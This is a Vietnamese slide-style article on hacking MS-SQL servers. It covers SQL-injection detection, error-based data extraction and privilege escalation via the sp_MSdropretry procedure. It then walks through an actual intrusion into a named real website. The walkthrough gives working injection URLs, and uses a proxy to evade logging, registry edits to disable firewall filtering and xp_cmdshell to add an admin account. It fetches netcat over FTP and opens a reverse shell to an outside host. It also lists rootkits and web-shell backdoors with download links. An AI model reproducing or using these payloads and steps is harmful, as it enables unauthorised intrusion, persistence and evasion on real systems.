,
221
721
Dữ liệu
dulieu
/dulieu/
119806
XÂM NHẬP MÁY CHỦ MS-SQL QUA LỖI SQL-INJECTION & CROSS-DATABASE
1
Article
null
,

XÂM NHẬP MÁY CHỦ MS-SQL QUA LỖI SQL-INJECTION & CROSS-DATABASE

Cập nhật lúc 10:55, Thứ Sáu, 03/10/2003 (GMT+7)
,

PHẦN I: CÁC KĨ THUẬT HACK
         TRONG SQL

    sql-injection

    convert-magic

    cross-database 

         PHÁT HIỆN LỖI SQL-INJECTION

 

http://www.company.com/product/price.asp?id=1

select price from product where id=1

http://www.company.com/product/price.asp?id=1’

select price from product where id=1’

Unclosed quotation mark before the character string ‘

http://www.company.com/product/price.asp?id=[...]

 

KĨ THUẬT CONVERT-MAGIC

 

http://wwww.company.com/product/price.asp?id=1 and 1=convert(int,@@version) --sp_password

select price from product where id=1 and 1=convert(int,@@version)--sp_password

 

KĨ THUẬT CONVERT-MAGIC

 

 Syntax error converting the nvarchar value 'Microsoft SQL Server  7.00 - 7.00.623 (Intel X86) Nov 23 1998 21:08:09 Copyright (c) 1988-1998 Microsoft Corporation   Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 3)' to a column of data type int.

 

KĨ THUẬT CONVERT-MAGIC

 

'sp_password' was found in the text of this event.-- The text has been replaced with this comment for security reasons.

      @@servername, db_name(), system_user, ...

      ‘ “ ( )

  LỖI CROSS-DATABASE CỦA MS-SQL

use testdatabase

create proc dbo.test as select * from master.dbo.sysxlogins

go

exec test

select * from master.dbo.sysxlogins

      sa == dbo

      db_owner có thể create & design các object của dbo

      SID của proc dbo.test == SID của master.dbo.sysxlogins

 

     LỖI INJECTION CỦA MASTER..SP_MSDROPRETRY

 

CREATE PROCEDURE sp_MSdropretry

(@tname sysname, @pname sysname)

as

     declare @retcode int

     /*

     ** To public

     */

     exec ('drop table ' + @tname)

     if @@ERROR <> 0 return(1)

     exec ('drop procedure ' + @pname)

     if @@ERROR <> 0 return(1)

     return (0)

 

      NÂNG QUYỀN QUA MASTER..SP_MSDROPRETRY

 

exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers'

exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx'

exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx'

exec sp_executesql N'drop view dbo.test‘

drop table xx update sysusers set sid=0x01 where name='dbo' drop procedure xx

drop table xx update dbo.test set sid=0x01,roles=0x01 where name=guest drop table xx

      guest == db_owner của database master

 

  PHẦN 2: MINH HỌA HACK SQL

 

     Khai thác lỗi sql-injection tại nhaxinh.com.vn

     Một số kinh nghiệm khi hack SQL

 

     LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

 

      dùng “proxy.ia2.marketscore.com:80” ðể tránh bị ghi nhật kí

http://www.nhaxinh.com.vn/FullStory.asp?id=1

http://www.nhaxinh.com.vn/FullStory.asp?id=1

 

     LỖI SQL-INJECTION TẠI NHAXINH.COM.VN

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBCSQLServerDriver] [SQLServer]

Unclosed quotation mark before the character string ''.

/Including/general.asp, line 840\

 

     XÁC ĐỊNH VERSION

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]

 

       XÁC ĐỊNH VERSION

 

  [SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

   /Including/general.asp, line 840

 

XÁC ĐỊNH SERVER_NAME

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,@@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'UNESCO' to a column of data type int.

/Including/general.asp, line 840

     XÁC ĐỊNH DATABASE_NAME

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,db_name())--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'NhaXinh' to a column of data type int.

/Including/general.asp, line 840

XÁC ĐỊNH USER_NAME

 

   http://www.nhaxinh.com.vn/FullStory.asp?

   id=1 and 1=convert(int,system_user)--

   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

   [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'nhaxinh' to a column of data type int.

   /Including/general.asp, line 840

      user_name(): các member của “sysadmin” được map sang “dbo”

 

         XÁC ĐỊNH MỨC QUYỀN CỦA SQL SERVER

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider 'sqloledb' has been denied. You must access this provider through a linked server.

/Including/general.asp, line 840

     admin đã disable openrowset/sqloledb, sẽ enable lại sau

 

ĐƯA GUEST VÀO DB_OWNER CỦA DATABASE MASTER1

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysusers' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set sid=0x01,roles=0x01 where name=''guest''','xx' exec sp_executesql N'drop view dbo.test'--

      Tại sao? guest là db_owner của database master nên guest có thể thi hành xp_regwrite hoặc xp_cmdshell

 

XÁC NHẬN GUEST ĐÃ NẰM TRONG                                                                                          DB_OWNER CỦA DATABASE MASTER CHƯA ?

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 name from master..sysusers where roles=0x01 and name not in('dbo')))--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'guest' to a column of data type int.

/Including/general.asp, line 840

 

CÀI CỬA SAU “BUILTIN\ADMINISTRATORS”

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec sp_executesql N'create view dbo.test as select * from master.dbo.sysxlogins' exec sp_msdropretry 'xx update sysusers set sid=0x01 where name=''dbo''','xx' exec sp_msdropretry 'xx update dbo.test set xstatus=18 where name=''BUILTIN\ADMINISTRATORS''','xx' exec sp_executesql N'drop view dbo.test'--

      login vào database với username là “BUILTIN\ADMINISTRATORS” mà không cần password

 

TẠI SAO KHÔNG ADD THẲNG   USER “NHAXINH” VÀO SYSADMIN?

 

    exec master..sp_addsrvrolemember 'nhaxinh',sysadmin

      Lỗi: Invalid object name ‘XXXX’ khi vấn tin CSDL sau này

 

    ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1 exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer\Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWORD,0—

 

    ENABLE OPENROWSET/OLEDB & XÁC ĐỊNH LẠI MỨC QUYỀN CỦA SQL SERVER

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb','';;,'')--

Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user 'SYSTEM'.

/Including/general.asp, line 840

 

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—

 

DISABLE FIREWALL CỦA NT & TẮT LOG TRONG SQL

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Services\Tcpip\Parameters','EnableSecurityFilters'—

 

  LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')—

 

  LỖI KHI ENABLE MASTER..XP_CMDSHELL & “ALLOW UPDATES”

 

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object 'set fmtonly off master..sp_addextendedproc xp_cmd 'xpsql70.dll' exec sp_configure 'allow updates', '1' reconfigure with override'. The OLE DB provider 'sqloledb' indicates that the object has no columns.

    /Including/general.asp, line 840

 

THÊM DÒNG “SELECT 1” ĐỂ KHẮC PHỤC LỖI

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

     set “allow updates”=1 cho phép update các “system-table” (sysusers, syslogins,...) trực tiếp, không qua các “system-procedure”

 

    CHÚ Ý KHI CHẠY MASTER..XP_CMDSHELL

 

     exec master..xp_cmdshell ‘dir c:\’ -- “SQLAgentCmdExec”

     select * from openrowset('sqloledb', 'server=;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "dir c:\"') -- “NT AUTHORITY\SYSTEM”

 

      XÁC ĐỊNH IP CỦA SERVER

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'ipconfig'--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select top 1 b from t where b like '%25IP Address%25'))-- (%25 == “%”)

 

       XÁC ĐỊNH IP CỦA SERVER

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ' IP Address. . . . . . . . . . . . : 203.162.7.70 ' to a column of data type int.

/Including/general.asp, line 840

 

     DO THÁM IP “203.162.7.70”

 

C:\> ping 203.162.7.70

Pinging 203.162.7.70 with 32 bytes of data:

Reply from 203.162.7.70: bytes=32 time=232ms TTL=118

C:\> ftp 203.162.7.70

Connected to 203.162.7.70.

220 unesco Microsoft FTP Service (Version 5.0).

User (203.162.7.70:(none)):

      203.162.7.70 == panvietnam.com

 

     FTP TRỰC TIẾP - THẤT BẠI !

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == “&”)

 

     FTP TRỰC TIẾP - THẤT BẠI !

 

C:\> ftp 203.162.7.70

Connected to 203.162.7.70.

220 unesco Microsoft FTP Service

(Version 5.0).

User (203.162.7.70:(none)): a

331 Password required for a.

Password:

530 User a cannot log in.

Login failed.

ftp> bye

 

   UPLOAD NETCAT LÊN SERVER

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f')-- (%3E == “>”)

 

UPLOAD NETCAT LÊN SERVER

 

echo open a.b.c.d >f

echo user a a >>f

echo bin >> f

echo cd a >>f

echo mget * >>f

echo quit >>f

ftp -v -i -n -s:f

del f

 

     THẨM TRA XEM NETCAT ĐÃ ĐƯỢC  UPLOAD THÀNH CÔNG CHƯA ?

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;drop table t create table t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell 'dir nx.exe'--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=1))--

http://www.nhaxinh.com.vn/FullStory.asp?id=1 and 1=convert(int,(select b from t where a=6))—

 

     THẨM TRA XEM NETCAT ĐẴ ĐƯỢC UPLOAD THÀNH CÔNG CHƯA ?

 

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '08/17/2003 11:31a 11,776 nx.exe' to a column of data type int.

/Including/general.asp, line 840

 

   NỐI NETCAT NGHỊCH CHUYỂN RA NGOÀI

 

http://www.nhaxinh.com.vn/FullStory.asp?id=1;select * from openrowset('sqloledb', 'server=UNESCO;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "nx -d -e cmd a.b.c.d 8080"')--

C:\WINNT.SBS\system32>nx -vv -l -p 8080

listening on [any] 8080 ...

 

   NỐI NETCAT NGHỊCH CHUYỂN RA NGOÀI

 

203.162.7.70: inverse host lookup failed: h_errno 11004: NO_DATA

connect to [a.b.c.d] from (UNKNOWN) [203.162.7.70] 3343: NO_DATA

Microsoft Windows 2000 [Version 5.00.2195]

(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>_

 

      NÊN CÀI CỬA SAU NÀO CHO SHELL ?

 

      Hacker Defender - http://rootkit.host.sk

      TYT - http://www.nhomvicki.net/tmp/tyt0.zip

      yyt_hac's ntrootkit - http://www.yythac.com

      WinShell - http://www.janker.org

      ... (http://www.ttian.net)

 

     NÊN CÀI CỬA SAU NÀO CHO WEB ?

 

       4in1.asp - http://www.nhomvicki.net/tmp/4in1.asp

       ntaddy.asp

C:\> net localgroup administrators IWAM_UNESCO /add

The command completed successfully.

C:\> iisreset

Attempting stop...

Internet services successfully stopped

Attempting start...

Internet services successfully restarted

(IIS bây giờ sẽ chạy với mức quyền Administrators)

 

    LỜI KHUYÊN CHO ADMIN CỦA NETNAM.VN

 

     Thiết lập tường lửa mạnh cho NT

     Dùng chương trình “fport.exe” để phát hiện cửa sau

     Ðắp bản patch mới nhất cho MS-SQL

     Hiệu chỉnh file “%SystemRoot%\Help\iisHelp\common\500-100.asp”

     Sửa lỗi cho các file .asp bị dính sql-injection

     Xem nhật kí của IIS định kì

 

XIN CẢM ƠN
,
,